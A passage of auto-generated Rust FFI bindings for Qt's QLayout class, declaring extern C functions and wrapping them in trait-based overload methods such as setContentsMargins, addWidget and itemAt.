fn C_ZN7QLayout9setMarginEi(qthis: u64 /* *mut c_void*/, arg0: c_int);
// proto: bool QLayout::isEmpty();
fn C_ZNK7QLayout7isEmptyEv(qthis: u64 /* *mut c_void*/) -> c_char;
// proto: void QLayout::addWidget(QWidget * w);
fn C_ZN7QLayout9addWidgetEP7QWidget(qthis: u64 /* *mut c_void*/, arg0: *mut c_void);
// proto: void QLayout::getContentsMargins(int * left, int * top, int * right, int * bottom);
fn C_ZNK7QLayout18getContentsMarginsEPiS0_S0_S0_(qthis: u64 /* *mut c_void*/, arg0: *mut c_int, arg1: *mut c_int, arg2: *mut c_int, arg3: *mut c_int);
// proto: QLayout * QLayout::layout();
fn C_ZN7QLayout6layoutEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: bool QLayout::activate();
fn C_ZN7QLayout8activateEv(qthis: u64 /* *mut c_void*/) -> c_char;
// proto: bool QLayout::isEnabled();
fn C_ZNK7QLayout9isEnabledEv(qthis: u64 /* *mut c_void*/) -> c_char;
// proto: void QLayout::~QLayout();
fn C_ZN7QLayoutD2Ev(qthis: u64 /* *mut c_void*/);
// proto: int QLayout::margin();
fn C_ZNK7QLayout6marginEv(qthis: u64 /* *mut c_void*/) -> c_int;
// proto: void QLayout::setSpacing(int );
fn C_ZN7QLayout10setSpacingEi(qthis: u64 /* *mut c_void*/, arg0: c_int);
// proto: QWidget * QLayout::menuBar();
fn C_ZNK7QLayout7menuBarEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: const QMetaObject * QLayout::metaObject();
fn C_ZNK7QLayout10metaObjectEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: QLayoutItem * QLayout::itemAt(int index);
fn C_ZNK7QLayout6itemAtEi(qthis: u64 /* *mut c_void*/, arg0: c_int) -> *mut c_void;
// proto: QWidget * QLayout::parentWidget();
fn C_ZNK7QLayout12parentWidgetEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: void QLayout::removeWidget(QWidget * w);
fn C_ZN7QLayout12removeWidgetEP7QWidget(qthis: u64 /* *mut c_void*/, arg0: *mut c_void);
// proto: void QLayout::removeItem(QLayoutItem * );
fn C_ZN7QLayout10removeItemEP11QLayoutItem(qthis: u64 /* *mut c_void*/, arg0: *mut c_void);
// proto: QMargins QLayout::contentsMargins();
fn C_ZNK7QLayout15contentsMarginsEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: QSize QLayout::totalMinimumSize();
fn C_ZNK7QLayout16totalMinimumSizeEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: void QLayout::setGeometry(const QRect & );
fn C_ZN7QLayout11setGeometryERK5QRect(qthis: u64 /* *mut c_void*/, arg0: *mut c_void);
// proto: static QSize QLayout::closestAcceptableSize(const QWidget * w, const QSize & s);
fn C_ZN7QLayout21closestAcceptableSizeEPK7QWidgetRK5QSize(arg0: *mut c_void, arg1: *mut c_void) -> *mut c_void;
// proto: void QLayout::setContentsMargins(const QMargins & margins);
fn C_ZN7QLayout18setContentsMarginsERK8QMargins(qthis: u64 /* *mut c_void*/, arg0: *mut c_void);
} // <= ext block end
// body block begin =>
// class sizeof(QLayout)=1
#[derive(Default)]
pub struct QLayout {
qbase: QObject,
pub qclsinst: u64 /* *mut c_void*/,
}
impl /*struct*/ QLayout {
pub fn inheritFrom(qthis: u64 /* *mut c_void*/) -> QLayout {
return QLayout{qbase: QObject::inheritFrom(qthis), qclsinst: qthis, ..Default::default()};
}
}
impl Deref for QLayout {
type Target = QObject;
fn deref(&self) -> &QObject {
return & self.qbase;
}
}
impl AsRef<QObject> for QLayout {
fn as_ref(& self) -> & QObject {
return & self.qbase;
}
}
// proto: void QLayout::setContentsMargins(int left, int top, int right, int bottom);
impl /*struct*/ QLayout {
pub fn setContentsMargins<RetType, T: QLayout_setContentsMargins<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.setContentsMargins(self);
// return 1;
}
}
pub trait QLayout_setContentsMargins<RetType> {
fn setContentsMargins(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::setContentsMargins(int left, int top, int right, int bottom);
impl<'a> /*trait*/ QLayout_setContentsMargins<()> for (i32, i32, i32, i32) {
fn setContentsMargins(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout18setContentsMarginsEiiii()};
let arg0 = self.0 as c_int;
let arg1 = self.1 as c_int;
let arg2 = self.2 as c_int;
let arg3 = self.3 as c_int;
unsafe {C_ZN7QLayout18setContentsMarginsEiiii(rsthis.qclsinst, arg0, arg1, arg2, arg3)};
// return 1;
}
}
// proto: int QLayout::spacing();
impl /*struct*/ QLayout {
pub fn spacing<RetType, T: QLayout_spacing<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.spacing(self);
// return 1;
}
}
pub trait QLayout_spacing<RetType> {
fn spacing(self , rsthis: & QLayout) -> RetType;
}
// proto: int QLayout::spacing();
impl<'a> /*trait*/ QLayout_spacing<i32> for () {
fn spacing(self , rsthis: & QLayout) -> i32 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout7spacingEv()};
let mut ret = unsafe {C_ZNK7QLayout7spacingEv(rsthis.qclsinst)};
return ret as i32; // 1
// return 1;
}
}
// proto: void QLayout::QLayout();
impl /*struct*/ QLayout {
pub fn new<T: QLayout_new>(value: T) -> QLayout {
let rsthis = value.new();
return rsthis;
// return 1;
}
}
pub trait QLayout_new {
fn new(self) -> QLayout;
}
// proto: void QLayout::QLayout();
impl<'a> /*trait*/ QLayout_new for () {
fn new(self) -> QLayout {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayoutC2Ev()};
let ctysz: c_int = unsafe{QLayout_Class_Size()};
let qthis_ph: u64 = unsafe{calloc(1, ctysz as usize)} as u64;
let qthis: u64 = unsafe {C_ZN7QLayoutC2Ev()};
let rsthis = QLayout{qbase: QObject::inheritFrom(qthis), qclsinst: qthis, ..Default::default()};
return rsthis;
// return 1;
}
}
// proto: QRect QLayout::geometry();
impl /*struct*/ QLayout {
pub fn geometry<RetType, T: QLayout_geometry<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.geometry(self);
// return 1;
}
}
pub trait QLayout_geometry<RetType> {
fn geometry(self , rsthis: & QLayout) -> RetType;
}
// proto: QRect QLayout::geometry();
impl<'a> /*trait*/ QLayout_geometry<QRect> for () {
fn geometry(self , rsthis: & QLayout) -> QRect {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout8geometryEv()};
let mut ret = unsafe {C_ZNK7QLayout8geometryEv(rsthis.qclsinst)};
let mut ret1 = QRect::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: int QLayout::count();
impl /*struct*/ QLayout {
pub fn count<RetType, T: QLayout_count<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.count(self);
// return 1;
}
}
pub trait QLayout_count<RetType> {
fn count(self , rsthis: & QLayout) -> RetType;
}
// proto: int QLayout::count();
impl<'a> /*trait*/ QLayout_count<i32> for () {
fn count(self , rsthis: & QLayout) -> i32 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout5countEv()};
let mut ret = unsafe {C_ZNK7QLayout5countEv(rsthis.qclsinst)};
return ret as i32; // 1
// return 1;
}
}
// proto: QSize QLayout::maximumSize();
impl /*struct*/ QLayout {
pub fn maximumSize<RetType, T: QLayout_maximumSize<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.maximumSize(self);
// return 1;
}
}
pub trait QLayout_maximumSize<RetType> {
fn maximumSize(self , rsthis: & QLayout) -> RetType;
}
// proto: QSize QLayout::maximumSize();
impl<'a> /*trait*/ QLayout_maximumSize<QSize> for () {
fn maximumSize(self , rsthis: & QLayout) -> QSize {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout11maximumSizeEv()};
let mut ret = unsafe {C_ZNK7QLayout11maximumSizeEv(rsthis.qclsinst)};
let mut ret1 = QSize::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: void QLayout::setMenuBar(QWidget * w);
impl /*struct*/ QLayout {
pub fn setMenuBar<RetType, T: QLayout_setMenuBar<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.setMenuBar(self);
// return 1;
}
}
pub trait QLayout_setMenuBar<RetType> {
fn setMenuBar(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::setMenuBar(QWidget * w);
impl<'a> /*trait*/ QLayout_setMenuBar<()> for (&'a QWidget) {
fn setMenuBar(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout10setMenuBarEP7QWidget()};
let arg0 = self.qclsinst as *mut c_void;
unsafe {C_ZN7QLayout10setMenuBarEP7QWidget(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: int QLayout::indexOf(QWidget * );
impl /*struct*/ QLayout {
pub fn indexOf<RetType, T: QLayout_indexOf<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.indexOf(self);
// return 1;
}
}
pub trait QLayout_indexOf<RetType> {
fn indexOf(self , rsthis: & QLayout) -> RetType;
}
// proto: int QLayout::indexOf(QWidget * );
impl<'a> /*trait*/ QLayout_indexOf<i32> for (&'a QWidget) {
fn indexOf(self , rsthis: & QLayout) -> i32 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout7indexOfEP7QWidget()};
let arg0 = self.qclsinst as *mut c_void;
let mut ret = unsafe {C_ZNK7QLayout7indexOfEP7QWidget(rsthis.qclsinst, arg0)};
return ret as i32; // 1
// return 1;
}
}
// proto: void QLayout::setEnabled(bool );
impl /*struct*/ QLayout {
pub fn setEnabled<RetType, T: QLayout_setEnabled<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.setEnabled(self);
// return 1;
}
}
pub trait QLayout_setEnabled<RetType> {
fn setEnabled(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::setEnabled(bool );
impl<'a> /*trait*/ QLayout_setEnabled<()> for (i8) {
fn setEnabled(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout10setEnabledEb()};
let arg0 = self as c_char;
unsafe {C_ZN7QLayout10setEnabledEb(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: QSize QLayout::minimumSize();
impl /*struct*/ QLayout {
pub fn minimumSize<RetType, T: QLayout_minimumSize<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.minimumSize(self);
// return 1;
}
}
pub trait QLayout_minimumSize<RetType> {
fn minimumSize(self , rsthis: & QLayout) -> RetType;
}
// proto: QSize QLayout::minimumSize();
impl<'a> /*trait*/ QLayout_minimumSize<QSize> for () {
fn minimumSize(self , rsthis: & QLayout) -> QSize {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout11minimumSizeEv()};
let mut ret = unsafe {C_ZNK7QLayout11minimumSizeEv(rsthis.qclsinst)};
let mut ret1 = QSize::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: QLayoutItem * QLayout::takeAt(int index);
impl /*struct*/ QLayout {
pub fn takeAt<RetType, T: QLayout_takeAt<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.takeAt(self);
// return 1;
}
}
pub trait QLayout_takeAt<RetType> {
fn takeAt(self , rsthis: & QLayout) -> RetType;
}
// proto: QLayoutItem * QLayout::takeAt(int index);
impl<'a> /*trait*/ QLayout_takeAt<QLayoutItem> for (i32) {
fn takeAt(self , rsthis: & QLayout) -> QLayoutItem {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout6takeAtEi()};
let arg0 = self as c_int;
let mut ret = unsafe {C_ZN7QLayout6takeAtEi(rsthis.qclsinst, arg0)};
let mut ret1 = QLayoutItem::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: QSize QLayout::totalMaximumSize();
impl /*struct*/ QLayout {
pub fn totalMaximumSize<RetType, T: QLayout_totalMaximumSize<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.totalMaximumSize(self);
// return 1;
}
}
pub trait QLayout_totalMaximumSize<RetType> {
fn totalMaximumSize(self , rsthis: & QLayout) -> RetType;
}
// proto: QSize QLayout::totalMaximumSize();
impl<'a> /*trait*/ QLayout_totalMaximumSize<QSize> for () {
fn totalMaximumSize(self , rsthis: & QLayout) -> QSize {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout16totalMaximumSizeEv()};
let mut ret = unsafe {C_ZNK7QLayout16totalMaximumSizeEv(rsthis.qclsinst)};
let mut ret1 = QSize::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: void QLayout::invalidate();
impl /*struct*/ QLayout {
pub fn invalidate<RetType, T: QLayout_invalidate<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.invalidate(self);
// return 1;
}
}
pub trait QLayout_invalidate<RetType> {
fn invalidate(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::invalidate();
impl<'a> /*trait*/ QLayout_invalidate<()> for () {
fn invalidate(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout10invalidateEv()};
unsafe {C_ZN7QLayout10invalidateEv(rsthis.qclsinst)};
// return 1;
}
}
// proto: void QLayout::update();
impl /*struct*/ QLayout {
pub fn update<RetType, T: QLayout_update<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.update(self);
// return 1;
}
}
pub trait QLayout_update<RetType> {
fn update(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::update();
impl<'a> /*trait*/ QLayout_update<()> for () {
fn update(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout6updateEv()};
unsafe {C_ZN7QLayout6updateEv(rsthis.qclsinst)};
// return 1;
}
}
// proto: QRect QLayout::contentsRect();
impl /*struct*/ QLayout {
pub fn contentsRect<RetType, T: QLayout_contentsRect<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.contentsRect(self);
// return 1;
}
}
pub trait QLayout_contentsRect<RetType> {
fn contentsRect(self , rsthis: & QLayout) -> RetType;
}
// proto: QRect QLayout::contentsRect();
impl<'a> /*trait*/ QLayout_contentsRect<QRect> for () {
fn contentsRect(self , rsthis: & QLayout) -> QRect {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout12contentsRectEv()};
let mut ret = unsafe {C_ZNK7QLayout12contentsRectEv(rsthis.qclsinst)};
let mut ret1 = QRect::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: QSize QLayout::totalSizeHint();
impl /*struct*/ QLayout {
pub fn totalSizeHint<RetType, T: QLayout_totalSizeHint<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.totalSizeHint(self);
// return 1;
}
}
pub trait QLayout_totalSizeHint<RetType> {
fn totalSizeHint(self , rsthis: & QLayout) -> RetType;
}
// proto: QSize QLayout::totalSizeHint();
impl<'a> /*trait*/ QLayout_totalSizeHint<QSize> for () {
fn totalSizeHint(self , rsthis: & QLayout) -> QSize {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout13totalSizeHintEv()};
let mut ret = unsafe {C_ZNK7QLayout13totalSizeHintEv(rsthis.qclsinst)};
let mut ret1 = QSize::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: void QLayout::QLayout(QWidget * parent);
impl<'a> /*trait*/ QLayout_new for (&'a QWidget) {
fn new(self) -> QLayout {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayoutC2EP7QWidget()};
let ctysz: c_int = unsafe{QLayout_Class_Size()};
let qthis_ph: u64 = unsafe{calloc(1, ctysz as usize)} as u64;
let arg0 = self.qclsinst as *mut c_void;
let qthis: u64 = unsafe {C_ZN7QLayoutC2EP7QWidget(arg0)};
let rsthis = QLayout{qbase: QObject::inheritFrom(qthis), qclsinst: qthis, ..Default::default()};
return rsthis;
// return 1;
}
}
// proto: void QLayout::addItem(QLayoutItem * );
impl /*struct*/ QLayout {
pub fn addItem<RetType, T: QLayout_addItem<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.addItem(self);
// return 1;
}
}
pub trait QLayout_addItem<RetType> {
fn addItem(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::addItem(QLayoutItem * );
impl<'a> /*trait*/ QLayout_addItem<()> for (&'a QLayoutItem) {
fn addItem(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout7addItemEP11QLayoutItem()};
let arg0 = self.qclsinst as *mut c_void;
unsafe {C_ZN7QLayout7addItemEP11QLayoutItem(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: int QLayout::totalHeightForWidth(int w);
impl /*struct*/ QLayout {
pub fn totalHeightForWidth<RetType, T: QLayout_totalHeightForWidth<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.totalHeightForWidth(self);
// return 1;
}
}
pub trait QLayout_totalHeightForWidth<RetType> {
fn totalHeightForWidth(self , rsthis: & QLayout) -> RetType;
}
// proto: int QLayout::totalHeightForWidth(int w);
impl<'a> /*trait*/ QLayout_totalHeightForWidth<i32> for (i32) {
fn totalHeightForWidth(self , rsthis: & QLayout) -> i32 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout19totalHeightForWidthEi()};
let arg0 = self as c_int;
let mut ret = unsafe {C_ZNK7QLayout19totalHeightForWidthEi(rsthis.qclsinst, arg0)};
return ret as i32; // 1
// return 1;
}
}
// proto: void QLayout::setMargin(int );
impl /*struct*/ QLayout {
pub fn setMargin<RetType, T: QLayout_setMargin<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.setMargin(self);
// return 1;
}
}
pub trait QLayout_setMargin<RetType> {
fn setMargin(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::setMargin(int );
impl<'a> /*trait*/ QLayout_setMargin<()> for (i32) {
fn setMargin(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout9setMarginEi()};
let arg0 = self as c_int;
unsafe {C_ZN7QLayout9setMarginEi(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: bool QLayout::isEmpty();
impl /*struct*/ QLayout {
pub fn isEmpty<RetType, T: QLayout_isEmpty<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.isEmpty(self);
// return 1;
}
}
pub trait QLayout_isEmpty<RetType> {
fn isEmpty(self , rsthis: & QLayout) -> RetType;
}
// proto: bool QLayout::isEmpty();
impl<'a> /*trait*/ QLayout_isEmpty<i8> for () {
fn isEmpty(self , rsthis: & QLayout) -> i8 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout7isEmptyEv()};
let mut ret = unsafe {C_ZNK7QLayout7isEmptyEv(rsthis.qclsinst)};
return ret as i8; // 1
// return 1;
}
}
// proto: void QLayout::addWidget(QWidget * w);
impl /*struct*/ QLayout {
pub fn addWidget<RetType, T: QLayout_addWidget<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.addWidget(self);
// return 1;
}
}
pub trait QLayout_addWidget<RetType> {
fn addWidget(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::addWidget(QWidget * w);
impl<'a> /*trait*/ QLayout_addWidget<()> for (&'a QWidget) {
fn addWidget(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout9addWidgetEP7QWidget()};
let arg0 = self.qclsinst as *mut c_void;
unsafe {C_ZN7QLayout9addWidgetEP7QWidget(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: void QLayout::getContentsMargins(int * left, int * top, int * right, int * bottom);
impl /*struct*/ QLayout {
pub fn getContentsMargins<RetType, T: QLayout_getContentsMargins<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.getContentsMargins(self);
// return 1;
}
}
pub trait QLayout_getContentsMargins<RetType> {
fn getContentsMargins(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::getContentsMargins(int * left, int * top, int * right, int * bottom);
impl<'a> /*trait*/ QLayout_getContentsMargins<()> for (&'a mut Vec<i32>, &'a mut Vec<i32>, &'a mut Vec<i32>, &'a mut Vec<i32>) {
fn getContentsMargins(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout18getContentsMarginsEPiS0_S0_S0_()};
let arg0 = self.0.as_ptr() as *mut c_int;
let arg1 = self.1.as_ptr() as *mut c_int;
let arg2 = self.2.as_ptr() as *mut c_int;
let arg3 = self.3.as_ptr() as *mut c_int;
unsafe {C_ZNK7QLayout18getContentsMarginsEPiS0_S0_S0_(rsthis.qclsinst, arg0, arg1, arg2, arg3)};
// return 1;
}
}
// proto: QLayout * QLayout::layout();
impl /*struct*/ QLayout {
pub fn layout<RetType, T: QLayout_layout<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.layout(self);
// return 1;
}
}
pub trait QLayout_layout<RetType> {
fn layout(self , rsthis: & QLayout) -> RetType;
}
// proto: QLayout * QLayout::layout();
impl<'a> /*trait*/ QLayout_layout<QLayout> for () {
fn layout(self , rsthis: & QLayout) -> QLayout {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout6layoutEv()};
let mut ret = unsafe {C_ZN7QLayout6layoutEv(rsthis.qclsinst)};
let mut ret1 = QLayout::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: bool QLayout::activate();
impl /*struct*/ QLayout {
pub fn activate<RetType, T: QLayout_activate<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.activate(self);
// return 1;
}
}
pub trait QLayout_activate<RetType> {
fn activate(self , rsthis: & QLayout) -> RetType;
}
// proto: bool QLayout::activate();
impl<'a> /*trait*/ QLayout_activate<i8> for () {
fn activate(self , rsthis: & QLayout) -> i8 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout8activateEv()};
let mut ret = unsafe {C_ZN7QLayout8activateEv(rsthis.qclsinst)};
return ret as i8; // 1
// return 1;
}
}
// proto: bool QLayout::isEnabled();
impl /*struct*/ QLayout {
pub fn isEnabled<RetType, T: QLayout_isEnabled<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.isEnabled(self);
// return 1;
}
}
pub trait QLayout_isEnabled<RetType> {
fn isEnabled(self , rsthis: & QLayout) -> RetType;
}
// proto: bool QLayout::isEnabled();
impl<'a> /*trait*/ QLayout_isEnabled<i8> for () {
fn isEnabled(self , rsthis: & QLayout) -> i8 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout9isEnabledEv()};
let mut ret = unsafe {C_ZNK7QLayout9isEnabledEv(rsthis.qclsinst)};
return ret as i8; // 1
// return 1;
}
}
// proto: void QLayout::~QLayout();
impl /*struct*/ QLayout {
pub fn free<RetType, T: QLayout_free<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.free(self);
// return 1;
}
}
pub trait QLayout_free<RetType> {
fn free(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::~QLayout();
impl<'a> /*trait*/ QLayout_free<()> for () {
fn free(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayoutD2Ev()};
unsafe {C_ZN7QLayoutD2Ev(rsthis.qclsinst)};
// return 1;
}
}
// proto: int QLayout::margin();
impl /*struct*/ QLayout {
pub fn margin<RetType, T: QLayout_margin<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.margin(self);
// return 1;
}
}
pub trait QLayout_margin<RetType> {
fn margin(self , rsthis: & QLayout) -> RetType;
}
// proto: int QLayout::margin();
impl<'a> /*trait*/ QLayout_margin<i32> for () {
fn margin(self , rsthis: & QLayout) -> i32 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout6marginEv()};
let mut ret = unsafe {C_ZNK7QLayout6marginEv(rsthis.qclsinst)};
return ret as i32; // 1
// return 1;
}
}
// proto: void QLayout::setSpacing(int );
impl /*struct*/ QLayout {
pub fn setSpacing<RetType, T: QLayout_setSpacing<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.setSpacing(self);
// return 1;
}
}
pub trait QLayout_setSpacing<RetType> {
fn setSpacing(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::setSpacing(int );
impl<'a> /*trait*/ QLayout_setSpacing<()> for (i32) {
fn setSpacing(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout10setSpacingEi()};
let arg0 = self as c_int;
unsafe {C_ZN7QLayout10setSpacingEi(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: QWidget * QLayout::menuBar();
impl /*struct*/ QLayout {
pub fn menuBar<RetType, T: QLayout_menuBar<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.menuBar(self);
// return 1;
}
}
pub trait QLayout_menuBar<RetType> {
fn menuBar(self , rsthis: & QLayout) -> RetType;
}
// proto: QWidget * QLayout::menuBar();
impl<'a> /*trait*/ QLayout_menuBar<QWidget> for () {
fn menuBar(self , rsthis: & QLayout) -> QWidget {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout7menuBarEv()};
let mut ret = unsafe {C_ZNK7QLayout7menuBarEv(rsthis.qclsinst)};
let mut ret1 = QWidget::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: const QMetaObject * QLayout::metaObject();
impl /*struct*/ QLayout {
pub fn metaObject<RetType, T: QLayout_metaObject<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.metaObject(self);
// return 1;
}
}
pub trait QLayout_metaObject<RetType> {
fn metaObject(self , rsthis: & QLayout) -> RetType;
}
// proto: const QMetaObject * QLayout::metaObject();
impl<'a> /*trait*/ QLayout_metaObject<QMetaObject> for () {
fn metaObject(self , rsthis: & QLayout) -> QMetaObject {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout10metaObjectEv()};
let mut ret = unsafe {C_ZNK7QLayout10metaObjectEv(rsthis.qclsinst)};
let mut ret1 = QMetaObject::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: QLayoutItem * QLayout::itemAt(int index);
impl /*struct*/ QLayout {
pub fn itemAt<RetType, T: QLayout_itemAt<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.itemAt(self);
// return 1;
}
}
pub trait QLayout_itemAt<RetType> {
fn itemAt(self , rsthis: & QLayout) -> RetType;
}
// proto: QLayoutItem * QLayout::itemAt(int index);
impl<'a> /*trait*/ QLayout_itemAt<QLayoutItem> for (i32) {
fn itemAt(self , rsthis: & QLayout) -> QLayoutItem {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout6itemAtEi()};
let arg0 = self as c_int;
let mut ret = unsafe {C_ZNK7QLayout6itemAtEi(rsthis.qclsinst, arg0)};
let mut ret1 = QLayoutItem::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: QWidget * QLayout::parentWidget();
impl /*struct*/ QLayout {
pub fn parentWidget<RetType, T: QLayout_parentWidget<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.parentWidget(self);
// return 1;
}
}
pub trait QLayout_parentWidget<RetType> {
fn parentWidget(self , rsthis: & QLayout) -> RetType;
}
// proto: QWidget * QLayout::parentWidget();
impl<'a> /*trait*/ QLayout_parentWidget<QWidget> for () {
fn parentWidget(self , rsthis: & QLayout) -> QWidget {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK7QLayout12parentWidgetEv()};
let mut ret = unsafe {C_ZNK7QLayout12parentWidgetEv(rsthis.qclsinst)};
let mut ret1 = QWidget::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: void QLayout::removeWidget(QWidget * w);
impl /*struct*/ QLayout {
pub fn removeWidget<RetType, T: QLayout_removeWidget<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.removeWidget(self);
// return 1;
}
}
pub trait QLayout_removeWidget<RetType> {
fn removeWidget(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::removeWidget(QWidget * w);
impl<'a> /*trait*/ QLayout_removeWidget<()> for (&'a QWidget) {
fn removeWidget(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout12removeWidgetEP7QWidget()};
let arg0 = self.qclsinst as *mut c_void;
unsafe {C_ZN7QLayout12removeWidgetEP7QWidget(rsthis.qclsinst, arg0)};
// return 1;
}
}
// proto: void QLayout::removeItem(QLayoutItem * );
impl /*struct*/ QLayout {
pub fn removeItem<RetType, T: QLayout_removeItem<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.removeItem(self);
// return 1;
}
}
pub trait QLayout_removeItem<RetType> {
fn removeItem(self , rsthis: & QLayout) -> RetType;
}
// proto: void QLayout::removeItem(QLayoutItem * );
impl<'a> /*trait*/ QLayout_removeItem<()> for (&'a QLayoutItem) {
fn removeItem(self , rsthis: & QLayout) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN7QLayout10removeItemEP11QLayoutItem()};
